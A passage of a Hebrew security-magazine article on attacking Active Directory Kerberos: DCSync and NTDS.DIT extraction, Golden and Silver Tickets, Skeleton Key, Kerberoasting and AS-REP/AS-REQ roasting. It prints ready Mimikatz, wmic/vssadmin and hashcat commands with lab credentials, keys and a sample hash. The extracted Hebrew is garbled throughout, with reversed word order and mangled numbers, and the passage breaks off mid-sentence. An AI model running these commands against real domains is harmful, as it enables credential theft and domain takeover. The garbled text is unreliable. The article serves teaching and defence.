 ביכולותיו מאוד מוגבל בדומיין נמצא אינו אשר שמחשב ראינו, כן כמו. שיוצגו ההתקפות עבור הדרישות על

 את לעקוף ביכולתו, הנכונים החושים עם, ועדיין בדומיין לקרברוס הקשורים מעניינים דברים על מידע לאסוף

 (.דומייני משתמש של בהרשאות shell לפתוח לדוגמא) זה
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NTDS.DIT Credentials Extraction 

. הסיסמאות את בכללי או NTLM hash-ה מציאת הוא עצמו על שיחזור נושא, ההתקפות לכל שנכנס לפני

 :ןאות להשיג דרכים כמה כאן נציג

1. DCsync- ה שרת כאשר הינו הראשון המקרה-DC לעשות יכול Replication .לעדכן דרך זו רפליקציה DC 

 רפליקציה לדמות נרצה אנחנו שלנו במקרה(. ים-DC-ה סינכרון) אחר DC-מ המידע שליחת ידי על מסוים

 היא בשיטה הדרישה. NTDS.DIT-ה קובץ גם ואיתו התוקף של למחשב ישלח שהמידע כך DC-ה של

 .לוקאלי אדמין של הרשאות עם בדומיין למחשב גישה תהיה שלתוקף

 מבחינה. הדומיין של הפוליסות היא לכך והסיבה טריקי טיפה הינו הלוקאלי האדמין הרשאות נושא

 מול הכל שמוודאת פוליסה יש הלוקאליים האדמינים לקבוצת שייך המשתמש אם גם דפולטיבית

, לצערכם. כלום לעשות יכול לא אתה דומייני אדמין אתה כן אם אלא כלומר( DC) הדומייני האדמין

 בצערם ומשתתף IT-ה אנשי אותכם מעריך נורא] ,כיף לא זה IT כי בעיקר) זה על ארחיב לא, ולשמחתי

 (.[בעיקר

  המתאים הקינפוג עם דומיין שמצאתם פשוט נניח אז

 :בהם שנתקלתי מהבעיות כמה לפתור יכולים הבאים פורומים אז אצלכם דומיין סביבת להקים תרצו אם

 :רפליקציה ליישום מדריך

Active Directory Replication on Windows Server 2012 

 :לוקאלי אדמין הרשאות של פוליסות קינפוג

Windows Users in Administrators Group without Administrator rights - How to Fix 

 נשתמש Windows בסביבת עובדים שאנחנו ומכיוון לנוחיותנו אך, דרכים במכה DCssync לעשות ניתן

 ?נראה זה איך אז. Mimikatz המפורסם בכלי

a. בדומיין מחשב מתוך לוקאלי אדמין של בהרשאות התוכנה את נריץ ראשון דבר : 

 

https://www.bestserversupport.com/blog/active-directory-replication-windows-server-2012.html
https://www.ryadel.com/en/windows-users-administrators-group-without-admin-rights-uac-fix/


 
 

2nd Step to Tame a Kerberos: Hit It Where It Hurts 
www.DigitalWhisper.co.il 

 ;;3  4243 נובמבר ,357גליון 
 

b. הבאה הפקודה את נריץ הבא השלב: 

PRIVILEGE::Debug 

 

 [אדמין בהרשאות לא שאתה אומר זה שגיאה קיבלתם אם]

 תהליך לדבג אפשרות למשתמש נותן זה(. לקרוא יודע אני גם ,כן) Debug של הרשאות נותנת הפקודה

-כ שרץ שירות" לדבג" יוכל User-כ שרץ תהליך לדוגמה יכולים היו לא הם הרגיל שבמקרה שירות או

Local System( .לבד תהנו, מזה מעמיק יותר הסבר :Windows drivers - Debug Privilege) 

c. ה את נעשה, האחרון והשלב-DCsync: 

lsadump::dcsync /user:KRBTGT 
 

 
  

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-privilege
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 משתמש על רק פרטים הוצאנו כאן הספציפי במקרה. הסיסמאות כל של ים-Hash-ה את רואים אתם בצהוב

 . DC-ב מידע עוד על זאת לעשות ניתן היה אך אחד

-ה על מידע להוציא נוכל אז(, בהמשך יורחב) מסויים DC עבור טיקט גולדן שהשגנו מצב ניקח, לדוגמה

KRBTGT כך אחר דומיין של: 

 

]optiv.com[ 

 במסגרת שפורסם שנדל עמית מאת DC Sync מתקפת: המאמר את תקראו DCsyn-ה בנושא מידע לעוד 

 .המגזין

  

https://www.optiv.com/insights/source-zero/blog/kerberos-domains-achilles-heel
https://www.optiv.com/insights/source-zero/blog/kerberos-domains-achilles-heel
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
https://www.digitalwhisper.co.il/files/Zines/0x77/DW119-3-DCSync.pdf
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 .NTDS.DIT-מה הסיסמאות את לחלץ נוכל, DC-ל גישה לנו יש אם, נוספת דרך .0

 : הפקודה את נריץ שנית! הכבוד כל, כל קודם אז DC-ל גישה השגתם אם

lsadump::lsa /inject /name:KRBTGT 
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 פרטי את שזורק Lasass.exe::SAMSs-Service תהליך תחת thread ליצור הוא עושה inject-ש מה, בקצרה

 DC-ה על רק שמיש זה לכן, המקומיות הסיסמאות זה SAM-שה להזכיר חשוב. thread-ה מתוך האבטחה

 .המשתמש פרטי זה לכם שחשוב מה אם משתמש על או עצמו

3. NTDSUTIL - ל גישה השגתם כבר אם-DC ב מובנה כלי אז-Active Directory הוא NTDSUTIL .הוא 

 .יותר מאוחר לפיענוח והרגיסטרי Ntds.dit-ה קובץ של Snapshot לקחת לנו מאפשר

 :Registry-מה והמידע NTDS-ה את ונקבל
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 את והכנסנו exe בקלות הורדנו. impacket secretsdump.py-ב להשתמש ניתן הסיסמאות את פענח כדי

 אפשר תרצו ואם)  great impacket example scripts compiled for WindowsThe כארגומנטים הקבצים

 :(הרגיל impacket-ב להשתמש

 
 ].בתמונה KRBTGT-ה של הסיסמאות מסומנים בצהוב*[

https://github.com/maaaaz/impacket-examples-windows
https://github.com/SecureAuthCorp/impacket
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6. WMI VSSADMIN - שיטה זו אך, ןכול את להציג נוכל לא ולצערנו סיסמאות לחילוץ שיטות הרבה יש 

 בעזרתו שגם רגיל Shadow Copy זהו עקרונית. מרחוק המידע את לחלץ ניתן שבעזרת כיוון מעניינת

 זאת לעשות כדי WMI-ב משתמשים כאן אך(, הקודמת לשיטה דומה) לוקאלית סיסמאות לחלץ ניתן

 :זה את עושים איך נראה בואו. מרחוק

a. ה את ניצור ראשית-Shadow Copy: 

wmic /node:192.168.152.10 /user:hafifa\administrator /password:Aa123456 

process call create "cmd /c vssadmin create shadow /for=C: 2>&1" 

 

 

 

a .*ה דרך הפקודה את שולחים אנחנו שלנו במקרה-WMIC מקומית זאת עושים היינו אם אבל 

 :כך נראה היה זה הדומיין מתוך

 

b. ה את להעתיק הוא הבא השלב-NTDS שנרצה למקום והרגיסטרי: 

wmic /node:dc01 /user:administrator@offense /password:123456 process call create 

"cmd /c copy 

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy17\Windows\NTDS\NTDS.dit c:\temp\ 

& copy 

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy17\Windows\System32\config\SYSTEM 

c:\temp\ & copy 

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy17\Windows\System32\config\SECURIT

Y c:\temp\" 

 

  .הכל מהם לחלץ ונצטרך הסיסמאות קבצי את נקבל NTDSutil בשיטה כמו ואז



 
 

2nd Step to Tame a Kerberos: Hit It Where It Hurts 
www.DigitalWhisper.co.il 

 427  4243 נובמבר ,357גליון 
 

 …המתקפות לשלב הגענו, וכעת

Golden Ticket 

 קיבלתם, הנוכחי הדומיין את פרצתם, כן כן. שניצחתם אומר זה Golden Ticket את השגתם אם, עקרונית

 ?באמת זה מה אך. persistence והשגתם אדמין דומיין הרשאות

 הינו TGT-ה. TGT להשיג היה השלבים אחד שבו קרברוס של האימות מנגנון על דיברנו הקודם במאמר

 קיים כי שוב זאת לעשות צריך לא כבר הוא שלו הסיסמה את הכניס שהלקוח ברגע, הלקוח של SSO-ה בעצם

 משתמש של hash/הסיסמה עם מזויף TGT יוצרת Golden Ticket המתקפה. בשמו זאת שעושה כרטיס כבר

 .KRBTGT-ה

 :נראה זה כך

 

[optiv.com] 

 בהקמת שנוצר דיפולטיבי משתמש הינו KRBTGT :קטנה תזכורת נעשה הראשון המאמר את אקר שלא למי

 לנו יש אם כלומר, TGT-ה את להצפין כדי KRBTGT-ה של הסיסמה של Hash-ב משתמש KDC-ה. הדומיין

 .ןעליה לחשוב שנוכל ההרשאות כל עם שנרצה TGT כמה ליצור יכולים אנחנו סיסמתו של Hash-ל גישה

https://www.optiv.com/insights/source-zero/blog/kerberos-domains-achilles-heel


 
 

2nd Step to Tame a Kerberos: Hit It Where It Hurts 
www.DigitalWhisper.co.il 

 428  4243 נובמבר ,357גליון 
 

 TGT קיים אם כלומר, אימות שום ללא TGT-ה על יסמוך KDC-ה, כאן נגמר לא עוד זה, שמחתנו או, לצערנו

 TGT-ל יאפשר KDC-שה היא מתבטא שזה אחת דרך. KDC-ה מבחינת לגיטימי למשתמש שייך כנראה זה

 שנוצרו לכרטיסים שמאופשר הרגיל החיים מזמן בהרבה ארוך חיים זמן עם להיות במערכת קיים שכבר

 לפוליסה שכפופים TGT-ה לעומת שנים 12 הינו Golden ticket-ב החיים זמן כלל בדרך) דיפולטיבית בשיטה

 קטנה הסתייגות עם, מזויפים משתמשים עבור TGT ליצור ניתן כן כמו(. שעות כמה נותנת שהיא הדומיים של

 לא או קיים TGT-ה משויך שאליו המשתמש האם TGT-ה מיצירת דקות 02 אחרי בדיקה הוסיפו שמיקרוסופט

 …זמן מאוד הרבה זה דקות 02 אך

 מחשבון DC-ל להתחבר מטרה ונציב Ticket ניצור אנחנו Golden ticket-ה מאחורי הכוח את שתבינו אז 

 :( ניצחנו הצלחנו אם, בדומיין המשתמשים אחד

 :בהצלחה תעבור שהמתקפה בשביל מאיתנו נדרש מה נבין בואו כן לפני אך

 .לכן קודם שהוסבר כפי Krbtgt-ה של הסיסמה של Hash-ה את להשיג התוקף על .1

 .עובדים עליו במחשב מקומי אדמין של הרשאות .0

 

 :Properties-ול This PC-ל נכנסים -הדומיין שם .3
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6. Domain SID - זה String לזהות כדי בו שמשתמשים בדומיין מחשב או קבוצה, משתמש לכל המוקצה 

 .אתה מי

 

 [האחרון המקף אחרי המספרים את מכיל לא SID-ה]*

5. Username ה קיים לא המשתמש אם אך שנרצה שם כל להמציא ניתן אמנם, אליו להתחזות-TGT יזרק 

 .לא או אמיתי המשתמש האם AD-ה מול בדיקה יעשה KDC-ה כי דקות 02 אחרי

 ! Golden Ticket-ה את ניצור בואו ,כעת

 ולא AES256-ה של Hash-ה את ניקח הגיוון לצורך: )Mimikatz-ב נשתמש אנו, זאת לעשות שיטות מספר יש

 :(NTLM Hash-ה את

kerberos::golden /user:PotatoKiller /domain:hafifa.mashu /sid:S-1-5-21-

2006934596-3969012060-2314185436 

/aes256:323d2280b8d8c7a0fa95715e9e8844775326f6180e47216a48932470f1f99895 

/ticket:NotSuspiciousTicketAtAll.tck /ptt 
l 

 

 :נקליד, אותו לראות מנת על

Kerberos::list  

 :או

Kerberos::tgt 
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 במקרה. DC-ל לגשת כדי בו להשתמש יוכל משתמש כל ולכן TGT-ה את לנו שיש עכשיו לראות שתוכלו וכפי

 :DC-ב לקבצים ניגש KPU01 המשתמש שלנו

 

 זאת לעשות ניתן האם, לדומיין המחוברת מעמדה לעבוד מאיתנו דורשת זו מתקפה אך, ויפה טוב הכל

 ?חיצוני ממחשב

 גישה לו ויש( NTLM hash לפחות) הסיסמה את יש מחשב לאותו אם! כן לגמרי היא התשובה לשמחתנו אז

 כמו כלים עוד יש) כרטיסים לזייף כדי ticketer.py דיוק ליתר או Impacket האהוב בכלי להשתמש ניתן DC-ל

mimikatz.py סילבר וגם טיקטים גולדן גם לזייף נוכל בעזרתו(. יקרים קוראים לבד זה עם תשחקו אך 

 :הבא המידע את לנו יש אם( בהמשך שיוסברו) טיקטים

 .NTLM Hash שאמרנו כפי .1

 .הדומיין שם .0

3.  SPN(טיקט לסילבר) 

6. SID 

 משתמש ושם .5

  ההאהוב Kali-מה גם הללו המתקפות את לעשות נוכל כלומר
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 :Golden רעבו

 

 :TGS-ה את לזייף נרצה עבורו SPN-ה עבור הדגל את נוסף Silver Ticket עבור

-spn SPN_NAME/DOMAIN_NAME 

Silver Ticket 

 המיוחלת הזהב מדליית של ברמה לא זה, כן אז? כסף ומדליית זהב מדליית יש שבתחרויות זה את מכירים

 וחיזוק הדומיין לתקיפת הנוגע בכל מרשימות יכולות מציג silver ticket גם אבל, golden ticket-ה כלומר

 ?הסיפור מה אז*(. ברקע דרמטית מוזיקה)* golden ticket-מ יותר חזק אף הוא, לעיתים. בו האחיזה

 מאפשר כלומר(, טיקט בגולדן המזויף TGT-ל בניגוד) מזויף TGS כרטיס בפשטות הוא silver ticket כרטיס

 לא) הרלוונטי השירות של הסיסמא פיצוח בעזרת אלו כרטיסים ליצור יכול תוקף. יחיד אחד שירות אל גישה

 של גילוי(. SAM-ה לקובץ dump ביצוע י"ע לדוגמא) המחשב hash פיצוח או( גבוהות הרשאות דורש תמיד

silver ticket מ יותר קשה אף הוא-golden ticket ה אל השירות בין תקשורת קיימת שלא העובדה לאור-DC 

 :נראה זה כך .שנאספו הסיסמאות בסיס על ישירות נוצר הכרטיס - ההזדהות בעת

 
[optive.com] 

  

https://www.optiv.com/insights/source-zero/blog/kerberos-domains-achilles-heel
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 :הם silver ticket יצירת בעת הצעדים

 .רלוונטי שירות רץ בו מחשב על יושב התוקף .1

 .שלו האבטחתי המזהה - שלו SID-ה ואת הדומיין שם את משיג התוקף .0

 .הרלוונטי השירות SPN-ל המקושר DNS-ה שם השגת .3

 .אחרים ממקומות או SAM-ה מתוך המחשב hash או השירות של הסיסמא השגת .6

 .שלו המחשב על יבצע התוקף, זה צעד את. השירות של הסיסמא בסיס על TGS בניית .5

 (.איתו קשר ואין היות KDC-ה על ולא) בלבד הכרטיס נוצר בו המחשב גבי על הכרטיס יצירת של log ישמור השרת*

 זאת וכל שירות/המחשב של hash-ה את התוקף השיג בו המחשב על שיושב השירות מול אל הזדהות .2

 .שנוצר המזויף TGS-ה בעזרת

 

]en.hackndo.com[ 

 של ההצפנה מפתח בעזרת) kdc-ה י"ע חתום שיהיה וחייבה PAC-ה עניין את הוסיפה, microsoft חברת

KRBTGT )בצד כבויה שהבדיקה נמצא פעמים הרבה אך 

-ה עם להתממשק מבלי TGS להשיג התוקף יכול וכך הלקוח

KDC (ה נושא-PAC ובמאמר המאמר בהמשך לעומק יוסבר 

  (.הראשון

 KRBTGT-ה ידי ועל service-ה י"ע - פעמיים חתום, PAC-ה

, השירות סיסמת את לגנוב הצליח שהתוקף נזכיר(. KDC-ה)

 אינה השנייה החתימה פעמים שהרבה העובדה לאור אך

 יש לשירות כאשר) PAC-ה תוכן את לזייף יכול הוא, נבדקת

 act as part of the" המאפשרות SeTcbPrivilege הרשאות

operating system "- ה את תבדוק אל-PAC ה בצד-DC.) 

]en.hackndo.com[ 

 השירות של הסיסמא את השיג הוא, המערכת על כבר יושב התוקף, באמת נו - הצפויה האמירה תגיע וכאן

 ...גדול חידוש כאן אין, שירות לאותו TGS כרטיס לו יש וכעת הרלוונטי

https://en.hackndo.com/
https://en.hackndo.com/
https://en.hackndo.com/
https://en.hackndo.com/
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 דומיין בכלל גבוהות הרשאות להשיג יכול הוא, זאת עם. המחשב על גבוהות הרשאות השיג המשתמש, נכון

 .עליו שמעיד TGS-ה בעזרת

 :בהן חבר להיות לרצות עשוי שהתוקף הרשאות הנה

 

]adsecurity[ 

 .הכסף את נשיג בואו אז. כסף זה זמן? אומרים איך? לא, באוויר הרבה דיברנו

 לשים הצליח התוקף. iis_server-ה במערכת מקומי administrator משתמש הוא red_panda המשתמש

 בהקשת. Mimikatz - עליו האהוב הכלי את להביא והצליח זה משתמש על יושב, המערכת על ידיו את

-ב הארוך הפרמטר) המחשב סיסמת את )היתר בין( יקבל הוא, sekurlsa::logonpasswords :הפקודה

password): 

 

(, IIS-ה לא) התוקף במחשב, כעת. silver ticket ליצור מנת על IIS-ה מחשב של hash-ב ישתמש הוא, כאן

 :שלו המטרה שם ואת שלו SID-ה את התוקף ישיג, ראשית. iisuser הנקרא חלש משתמש על התוקף יושב

 

https://adsecurity.org/
https://adsecurity.org/
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 מרוחק shell ליצור נרצה כאן. silver ticket ליצור מנת על Mimikatz-ב להשתמש באפשרותו, כעת

 שניהם - http-ו wsman :שירותים כרטיסי 0 זה לצורך להשיג עלינו. IIS-ה מחשב על גבוהות בהרשאות

 :winrm עבור נחוצים

 

 המשתמש עבור) שלנו המשתמש של SID-ל המקושר כרטיס ליצור ביקשנו :כאן דברים לכמה לב נשים

thanos ה שרת היא שלנו שהמטרה ציינו, כן כמו(. בדומיין באמת קיים שאינו-IIS ,השירותים עבור http, 

wsman ה וכאשר-RC4 creds לכן קודם התוקף שמצא מה הם הנתונים . 

-ב בהסתכלות. event log-וב החדש המשתמש של SID-ב שיופיע מספר פשוט הוא id-שה גם לב נשים

wireshark ,ה כדוגמת יישויות אל הנשלחות כלשהן פקטות נראו לא-KDC .בדיפולט ,Mimikatz את מצרפת 

 .בדומיין החזקות הקבוצות כלל אל החדש המשתמש

  



 
 

2nd Step to Tame a Kerberos: Hit It Where It Hurts 
www.DigitalWhisper.co.il 

 435  4243 נובמבר ,357גליון 
 

 :שירות כל עבור הדרושים השירותים להלן

 

]adsecurity[ 

 לכרטיסים לב שימו) thanos המשתמש מעל IIS-ה מחשב אל מרוחקת התחברות התוקף ביצע, לבסוף

 (:כלגיטימיים הנראים, התוקף שהשיג

 

 כדוגמת פעולות לבצע ננסה אם, זאת עם) עצמו במחשב גבוהות בהרשאות פעולות לבצע ויכול השיג התוקף

net user /domain ,ה מבחינת אך, בדומיין באמת קיים לא שהמשתמש נראה-IIS ,בהרשאות משתמש הוא 

domain admin.) 

  

https://adsecurity.org/
https://adsecurity.org/
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 :לב שימו
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 :IIS-ה ברמת התראות נראה וכך

 

 שאילתות ולבצע בדומיין בשמו להזדהות יוכל, בדומיין אחר משתמש של rid-ה את גם התוקף יידע כאשר

 . מעניינות
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Skeleton Key 

 היא משמעותו ובכלליות RC4 (hmac-md5) מעל קרברוס עבור רק עובד שהמפתח לציין חשוב, ראשית

backdoor ה בזיכרון הרץ-DC (ה ריסוט בעת ולכן-DC ,ה-backdoor ייעלם )סיסמה בעזרת כניסה ומאפשר 

 להיות צריכות שלתוקף לציין חשוב ,שנית. בדומיין החשבונות כלל אל( Skeleton Key-ה של זו) יחידה

 זה המטרה שוב מדגישים אנו כלומר. ההתקפה את לבצע מנת על domain admin של הרשאות

persistence. 

 כלל עבור זהה Master Password ויוצר DC-ב lsass-ה אל עצמו את מזריק הזדוני הקוד, זו בהתקפה

 לא שההתחברות סיכוי קיים, בלבד אחד DC על Skeleton Key-ה את נתקין אם ולכן) בדומיין המשתמשים

 שמקשה מה - לעבוד ימשיכו המשתמשים של הרגילות הסיסמאות, כן כמו(. שיבחר DC-ב כתלות - תעבוד

 .הסיסמאות של הזיהוי מלאכת על

 :יראה זה וכך

 :DC-ה על היושבת Admin-ה תיקיית אל גישה iisuser החלש כמשתמש, לנו תהיה לא בתחילה
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 :Skeleton Key-ה את ליצור מנת על DC-ה על הבאות הפקודות את domain admin-כ נריץ, בהמשך

 

 :לדוגמא כך בקלות אחרים למחשבים לפנות נוכל, כעת! זהו

 

 תחת DC-ב הנמצאת $ADMIN-ה תיקיית אל גישה(, iisuser) חלש משתמש של shell בעזרת יצרנו, כאן

 הדיפולטיבית הסיסמא) Mimikatz הסיסמא עם הזדהות ובעזרת domain admin שהוא thor של ההרשאות

 לניסיון קודם שאירועו הכושלים הנסיונות 0-ל לב שימו(. Skeleton Key מבצע כאשר יוצר Mimikatz-ש

 .כשלו הם ולכן DC-ה בצד Skeleton Key-ה שבוצע לפני הוקלדו שניהם - הצולח

 :הרצויה לתיקייה לגשת נוכל, לבסוף
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 לראות שניתן כמו, כמובן, תצליח( Skeleton Key-ה הותקן לא שעליהם) אחרים למחשבים גישה גם, אגב

 :כאן

 

 לשיטת ההצפנה בפרוטוקול הורדה - downgrade תבוצע? RC4 מבוססת אינה ההצפנה כאשר קורא ומה

RC4. ה-skeleton ב מוטמע נמצא-dll-שונים בשמות ים: 

 

[DIGITAL ‘BIAN LIAN’] 

( domain admin-ה פרטי בעזרת system32 לתיקיית) DC-ה של administrative share-ל מועלה הוא

 lsass-ה לתהליך מצורף, הקוד(. לבסוף נמחק dll-ה) מרחוק psexec כמו כלים י"ע מורץ להיות יכול ולבסוף

 את ומשנה( MSV1_0.dll הנקרא) NTLM המממש dll-ב MsvpSAMValidate הפונקציה את מוצא, dc-ב

 . מתוכה הנקראת MsvpPasswordValidate הפונקציה

 להתחבר רוצה רגיל שמשתמש למקרה) המקורית MsvpPasswordValidate לפונקציית קורא הקוד, בשינוי

 המחרוזת הפעם אך, בשנית תיקרא MsvpPasswordValidate הפונקציה, ותיכשל ובמקרה( לפרטיו

 (.SAM-ב נמצא אשר NTLM-ה מול אל ולא) Skeleton Key-ה של NTLM מול אל תושווה המוכנסת

 מיקום את לשנות מנת על( בזיכרון לפונקציות מיפוי טבלת) IAT hooking-ב משתמש Skeleton Key-ה

 kdcsvc.dll המודול. שבשימוש הפונקציות

 מאותרות ובו lsass של הזיכרון בתוך נמצא

 :להשתנות שצריכות הרלוונטיות הפונקציות

 SAMIRetrieveMultiplePrimaryCredentials 

 CDLocateCSystem  

 SAMIRetrievePrimaryCredentials 

 הפונקציות י"ע נדרסות IAT-ב הרשומות

 המוחזר זיכרון בשטח שמאוכלסות) החדשות

 (.VirtualAllocEx פונקציית מתוך

 
[DIGITAL ‘BIAN LIAN’] 
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 מחרוזת, sALT-ב שימוש שיש העובדה לאור) בעיות 0 נמצא, RC4 אינה המדוברת שההצפנה במקרה

 (:לשונים זהה key בעלי ים-hash להפוך שמטרתה

 ה את לחשב יש-Skeleton Key בצורת המשתמשים כלל של offline (ה בסיס על-salt )אותם ולאחסן - 

 .רב זיכרון דורש

 ה ערך את לחשב יש-Skeleton Key ב לבעיות יביא - אמת בזמן המשתמש של-performance. 

 .זו בעיה לפתור ננסה הנראה ככל הבא במאמר

 SAMIRetrieveMultiplePrimaryCredentials-ב שימוש י"ע RC4-ל downgrade לבצע הוא כרגע הפיתרון

 :ימצא לא הוא, AES כמו בהצפנות המטפל dll שימצא במקרה, שבה

 

]DIGITAL ‘BIAN LIAN’[ 

 :הקוד יוחזר שימצא ובמקרה ,בו אותיות 3-ו האורך לפני dll-ה של חיפוש שישנו לראות ניתן

STATUS_DS_NO_ATTRIBUTE_OR_VALUE  

 שאם כזו בצורה תשתנה cryptdll.dll בקובץ CDLocateCSystem הפונקציה, כן כמו .מהקובץ המתעלם

-ה של hash-ה אל משתנה hash-ה, תצלח לא וההתחברות במקרה אך, יצליח הוא יתחבר רגיל משתמש

Skeleton Key וה-hash למולו מושווה המשתמש של. 
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Kerberoasting 

 Kerberoasting Attack - אלון משה של במאמר תועדה כבר והיא היות במילים נכביר לא הזו ההתקפה על

on SQL Server סיסמתו את מפצח, שירות של כרטיס התוקף משיג, בהתקפה. המגזין במסגרת שפורסם 

 בהרשאות פעולות לבצע או אחרים כרטיסים לזייף מנת על השירות בסיסמת ומשתמש offline בצורת

  (.כאלו בהרשאות רץ שהשירות בהנחה) גבוהות

 : הכללי הרעיון את רק נציג

 בדומיין ים-SPN-ה רשימת השגת .1

 (במכונה מנהל הרשאות דורש) שירות של SPN עבור service ticket בקשת .0

 לקובץ ושמירתו( מהתווך או) מהזיכרון service ticket חילוץ .3

 .Service Private Key-ה עם שמוצפן מה כלומר, הכרטיס סיסמת פיצוח .6

 .השירות הרשאות ובדיקת cleartext-ב הסיסמא השגת .5

 וכל - חדש PAC עם כרטיס ליצור לחילופין או השירות של הגבוהות ההרשאות את לנצל התוקף יכול, כעת

 .הרבה די שקורה מה - נבדקת אינה KRBTGT-ה על PAC-ה של שהחתימה בהנחה זאת

ASREPRoast 

 בעזרת ושירותים משתמשים של סיסמאות להשיג כן גם מאפשרת kerberoast את מזכירה די, ההתקפה

offline attacks . 

 המשתמש, זה בחלק. as-req-ה בפקטת שולח שהמשתמש קטע הוא Pre Authentication :קצת נזכיר

 מדובר שלא ומוודא ההצפנה את פותח, מצידו, DC-ה. שלרשותו המפתח בעזרת שלו הנוכחי הזמן את מצפין

 שמונע נוסף אימות להוסיף היא זו בפעולה המטרה(. שהוצפן הזמן בסיס על) לכן קודם שנראתה בפקטה

 .כרטיס לבקש יוכל הסיסמה של הבעלים רק אלא, TGT-ה את לקבל שירצה מי מכל

 תכונת ללא) Pre Authentication דורשים אינם אשר משתמשים התוקף מחפש, בהתקפה

dont_req_preauth .)לשלוח יכול אחד כל, כך as-req ה אל-DC ולקבל משתמש כל בשם as-rep .זו הודעה ,

 לנסות ניתן, כך. המשתמש של המקורית מהסיסמא הנובע המשתמש של המפתח י"ע המוצפן מידע מכילה

 . המשתמש סיסמת את ולהשיג offline בצורה ההודעה את לפענח

  

https://www.digitalwhisper.co.il/files/Zines/0x65/DW101-4-KerbMSSQL.pdf
https://www.digitalwhisper.co.il/files/Zines/0x65/DW101-4-KerbMSSQL.pdf
https://www.digitalwhisper.co.il/files/Zines/0x65/DW101-4-KerbMSSQL.pdf
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 :כאן נמצא as-rep-ב אותנו שמעניין החלק

 

 (:והמשתמש הפורמט, הדומיין שם בצירוף) הבא hash-ה את נוציא משם

$krb5asrep$Administrator@lab.local:f905ba3e642c598850458561ca16b8

d7$ecd777db9af336c835e4f2fc17f3e31754836ab3ce07946c211611c4ca641c

ef0ff4a43f3b3108cd8d9f56569665a81ad42bb536d43145829fedf8b3469ea4b

9d71158fb60f789f31a4ff8c1cc2834a95711f18ebf2ae715bfa21f973600865b

7158242538ecefed0cd0d306b562152cdfa362c4bb2f1877f68b999d5087a8b63

10d00b4a72589b23fd16d06e7cdbf2895b2adbf2db5a8d5d17a72532b648e753c

b239b26277e6ab7f11a2ae9b19c56d25c5f30c5e6c7141dabc486754514776f98

3e5ff7317aa07878e19289c5366aafb8e15398d0c9abb8889b3a63a9774ca6f08

deba42d4 

 :בעזרת הרלוונטיים ים-hash-ה את להוציא, התווך את להסניף ניתן, כן כמו

tshark -r <pcap> -T pdml > output.pdml 

 .krbpa2john.py בעזרת john לפורמט להמירו ונוכל

 לאפשר יכול דומייני משתמש, זאת עם. dcל חיבור רק אלא, כלשהו דומייני למשתמש דרישה אין להתקפה

 שאחרת דבר -בדומיין Pre Authentication דגל ללא משתמשים חיפוש המאפשרות ldap שאילתות ביצוע

 .משתמשים שמות לנחש פשוט מצריך היה
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 .Pre Authentication-ב להשתמש דרישה וקיימת מסומן אינו הדגל, שבדיפולט לב נשים

 

[Stealthbits] 

-encה מתוך המוצפנת המחרוזת את להשיג הצלחנו ובה שבנינו הבדיקות בסביבת ההתקפה את הרצנו

type (הסנפה בעזרת גם זאת להשיג יוכל תוקף:) 
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 כמו כלים בעזרת המשתמש של הסיסמא את להשיג ביכולתנו, הרלוונטי hash-ה שלרשותנו לאחר, וכעת

hashcat ו-john: 

 

 .Aa103652 :היא הסיסמא

 :הדברים בין ההבדל את נסכם, כן אם

 התקפת Kerberoasting השגת מאפשרת hash של application services בהתקפות offline .הוא, כך 

 .שירצה TGS איזה להשיג בכדי שלרשותו tgt-ב להשתמש יכול

 התקפת as-rep בהתקפות משתמשים סיסמאות השגת מאפשרת offline. 

ASREQROAST 

 המשתמש סיסמת את לגלות כדי offline מתקפת עושים אנו זו במתקפה, ASREPROAST למתקפה בדומה

 ?עושים מה אז. pre-authentication להם שיש משתמשים הוא שלנו היעד קהל כאן אך

 כלומר(, שבאמצע האדם) MITM לעשות אפשרות שתהיה היא תעבוד שהמתקפה כדי דרישה, ראשית

 שנשלחת krb_err-ה אחרי שנשלחת Pre Authentication-ה חבילת את להסניף האפשרות תהיה שלתוקף

 . AS_REQ-ה לאחר

 בעצם אז הצלחנו ואם timestamp-ה את offline ולפענח החבילה את להסניף הוא המתקפה מאחורי הרעיון

 ?זה את עושים איך נראה בואו אז. המשתמש סיסמת את השגנו

 :המוצפן timestamp-ה את PCredz הכלי עם נוציא. Pre Authentication-ה חבילת את השגנו אז .1

root@kali:~\Pcredz# Python3 ./Pcredz -f krb.pcap 

  

https://github.com/lgandx/PCredz
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 :hashcat עם זאת נעשה. timestamp-ה את לפענח הוא הבא השלב

 

root@kali:~\Pcredz# ./hashcat -m 7500 AS_REQoutput.txt AS_REQhashes.txt  

 .המשתמשים סיסמאות את השגנו כלומר שיתורגמו hashes-ה יהיו AS_REQoutput.txt בקובץ

MS14-068 

 את לנצל איפשר DC-ה גם בעבר. היחיד לא הוא, לנצל שניתן חולשות הרבה מכיל שקרברוס למרות

 כל) לפניו שהיה מה וכל 2Windows Servers 2012R-ב שהופיעה חולשה הינה MS14-068. הקרברוס

 ?הבעיה מה אז(. עליהם משפיעה לא החולשה ולכן Patched להיות כבר אמורות הבאות הגרסאות

 של תפקידו כזכור. הרשאות להעלות במטרה מזויפים ים-PAC וליצור TGT כרטיסי לקחת מאפשרת החולשה

 רמת את יודע השירות וכך מסויימות לקבוצות שייכות כמו המשתמש לגבי מידע עוד לספק הוא PAC-ה

 נוכל המשתמש שייך אליהן הקבוצות את נשנה אם. DC-ה מול זאת לוודא בלי משתמש אותו של ההרשאות

 .לדוגמה האדמינים לקבוצת שייכות כמו יותר גבוהות הרשאות לו לתת

 .KDC-ב PAC-ה אובייקט על לחתימה משמשים השירות ומפתח KRBTGT-ה מפתח -נזכיר*

 MD5 כמו (Keyless Hash Signatures) מפתח ללא ים-HASH עם חתימות מאפשר DC-ה? החולשה מהי אז

